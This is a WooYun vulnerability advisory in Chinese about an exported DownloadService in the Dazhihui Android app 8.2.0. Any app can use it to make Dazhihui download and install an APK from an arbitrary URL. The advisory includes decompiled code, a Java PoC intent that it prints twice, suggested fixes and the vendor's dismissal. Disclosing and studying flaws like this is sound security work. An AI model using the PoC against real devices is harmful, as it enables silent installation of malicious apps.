当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150312

漏洞标题:大智慧安卓app越权下载任意应用

相关厂商:上海大智慧

漏洞作者: 路人甲

提交时间:2015-11-20 10:57

修复时间:2016-02-23 11:00

公开时间:2016-02-23 11:00

漏洞类型:设计错误/逻辑缺陷

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-20: 细节已通知厂商并且等待厂商处理中
2015-11-25: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2016-01-19: 细节向核心白帽子及相关领域专家公开
2016-01-29: 细节向普通白帽子公开
2016-02-08: 细节向实习白帽子公开
2016-02-23: 细节向公众公开

简要描述:

大智慧安卓app
最新版本 8.2.0
越权下载任意应用

详细说明:

大智慧安卓app可越权下载任意应用
大智慧Android 8.2.0客户端组件**.**.**.**work.DownloadService 暴露,
导致第三方应用可以触发其升级过程,同时可以指定升级下载的URL地址,可导致任意应用安装!
版本号

版本号-8.2.png


Manifest.xml文件中,**.**.**.**work.DownloadService组件对外暴露

<service android:exported="true" android:name="**.**.**.**work.DownloadService" android:process="**.**.**.**work.DownloadService">
<intent-filter android:priority="1000">
<action android:name="**.**.**.**work.DownloadService"/>
</intent-filter>
</service>


该组件对应的代码执行部分如下:

public static boolean a(Context paramContext, String paramString, boolean paramBoolean1, boolean paramBoolean2)
{
Intent localIntent;
String str1;
int i1;
if ((paramContext != null) && (!TextUtils.isEmpty(paramString)))
{
localIntent = new Intent(paramContext, DownloadService.class);
localIntent.putExtra("cmd", "start_download");
str1 = null;
i1 = paramString.indexOf("?MD5=");
if (i1 == -1) {
break label254;
}
str1 = paramString.substring(i1 + 5);
}
label254:
for (String str2 = paramString.substring(0, i1);; str2 = paramString)
{
if ((!TextUtils.isEmpty(str2)) && (!TextUtils.isEmpty(str1)))
{
Log.i("GUH", "startDownloadService");
localIntent.putExtra("download_silent", paramBoolean1);
localIntent.putExtra("download_url", str2);
localIntent.putExtra("download_MD5", str1);
localIntent.putExtra("download_only_wifi", paramBoolean2);
a = str2;
b = str1;
com.android.dazhihui.b.a.b.a().b("apkDownloadUrl", a);
com.android.dazhihui.b.a.b.a().b("apkDownloadMd5", b);
com.android.dazhihui.b.a.b.a().f();
paramContext.startService(localIntent);
}
for (boolean bool = true;; bool = false)
{
Log.i("GUH", "startDownloadService return=" + bool + " updateUrl=" + paramString + " silent=" + paramBoolean1 + " wifiLimit=" + paramBoolean2);
return bool;
}
}
}


该组件从Intent从获取cmd的命令,以及download_silent,download_url,download_MD5,download_only_wifi等数据,当cmd为start_download时,执行下载app升级操作。
并且升级时,的url可以从download_url指定,下载时只是验证md5是否正确,并未验证url的合法性,所以第三方app可以任意指定下载地址。
改漏洞触发poc关键代码如下
public void dazhihui_poc()
{
Intent intent = new Intent();
ComponentName com = new ComponentName("com.android.dazhihui", "**.**.**.**work.DownloadService");
intent.setComponent( com );

intent.putExtra("cmd", "start_download" );
//intent.putExtra("download_MD5", "840f65125e7a995f27871fa5ccdb449b" );
intent.putExtra("download_MD5", "e2f3db1c41839d1d510870f42cf0aaa7" );
intent.putExtra("download_silent", false );
intent.putExtra("download_only_wifi", false );
//intent.putExtra("download_url", "**.**.**.**/app/xrt-v1.0.apk" );
intent.putExtra("download_url", "http://**.**.**.**/data/wisegame/41839d1d510870f4/jiecaojingxuan_51.apk" );

//intent.setAction("com.baidu.android.pushservice.action.MESSAGE");
startService( intent );
}

漏洞证明:


大智慧安卓app可越权下载任意应用
大智慧Android 8.2.0客户端组件**.**.**.**work.DownloadService 暴露,
导致第三方应用可以触发其升级过程,同时可以指定升级下载的URL地址,可导致任意应用安装!
Manifest.xml文件中,**.**.**.**work.DownloadService组件对外暴露

<service android:exported="true" android:name="**.**.**.**work.DownloadService" android:process="**.**.**.**work.DownloadService">
<intent-filter android:priority="1000">
<action android:name="**.**.**.**work.DownloadService"/>
</intent-filter>
</service>


该组件对应的代码执行部分如下:

public static boolean a(Context paramContext, String paramString, boolean paramBoolean1, boolean paramBoolean2)
{
Intent localIntent;
String str1;
int i1;
if ((paramContext != null) && (!TextUtils.isEmpty(paramString)))
{
localIntent = new Intent(paramContext, DownloadService.class);
localIntent.putExtra("cmd", "start_download");
str1 = null;
i1 = paramString.indexOf("?MD5=");
if (i1 == -1) {
break label254;
}
str1 = paramString.substring(i1 + 5);
}
label254:
for (String str2 = paramString.substring(0, i1);; str2 = paramString)
{
if ((!TextUtils.isEmpty(str2)) && (!TextUtils.isEmpty(str1)))
{
Log.i("GUH", "startDownloadService");
localIntent.putExtra("download_silent", paramBoolean1);
localIntent.putExtra("download_url", str2);
localIntent.putExtra("download_MD5", str1);
localIntent.putExtra("download_only_wifi", paramBoolean2);
a = str2;
b = str1;
com.android.dazhihui.b.a.b.a().b("apkDownloadUrl", a);
com.android.dazhihui.b.a.b.a().b("apkDownloadMd5", b);
com.android.dazhihui.b.a.b.a().f();
paramContext.startService(localIntent);
}
for (boolean bool = true;; bool = false)
{
Log.i("GUH", "startDownloadService return=" + bool + " updateUrl=" + paramString + " silent=" + paramBoolean1 + " wifiLimit=" + paramBoolean2);
return bool;
}
}
}


该组件从Intent从获取cmd的命令,以及download_silent,download_url,download_MD5,download_only_wifi等数据,当cmd为start_download时,执行下载app升级操作。
并且升级时,的url可以从download_url指定,下载时只是验证md5是否正确,并未验证url的合法性,所以第三方app可以任意指定下载地址。
改漏洞触发poc关键代码如下
public void dazhihui_poc()
{
Intent intent = new Intent();
ComponentName com = new ComponentName("com.android.dazhihui", "**.**.**.**work.DownloadService");
intent.setComponent( com );

intent.putExtra("cmd", "start_download" );
//intent.putExtra("download_MD5", "840f65125e7a995f27871fa5ccdb449b" );
intent.putExtra("download_MD5", "e2f3db1c41839d1d510870f42cf0aaa7" );
intent.putExtra("download_silent", false );
intent.putExtra("download_only_wifi", false );
//intent.putExtra("download_url", "**.**.**.**/app/xrt-v1.0.apk" );
intent.putExtra("download_url", "http://**.**.**.**/data/wisegame/41839d1d510870f4/jiecaojingxuan_51.apk" );

//intent.setAction("com.baidu.android.pushservice.action.MESSAGE");
startService( intent );
}
下载app

下载11.png


升级界面

下载13.png


app升级日志如下

下载15.png


安装界面

下载14.png


修复方案:

1 组件不暴露
2 对升级地址进行判断

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-02-23 11:00

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无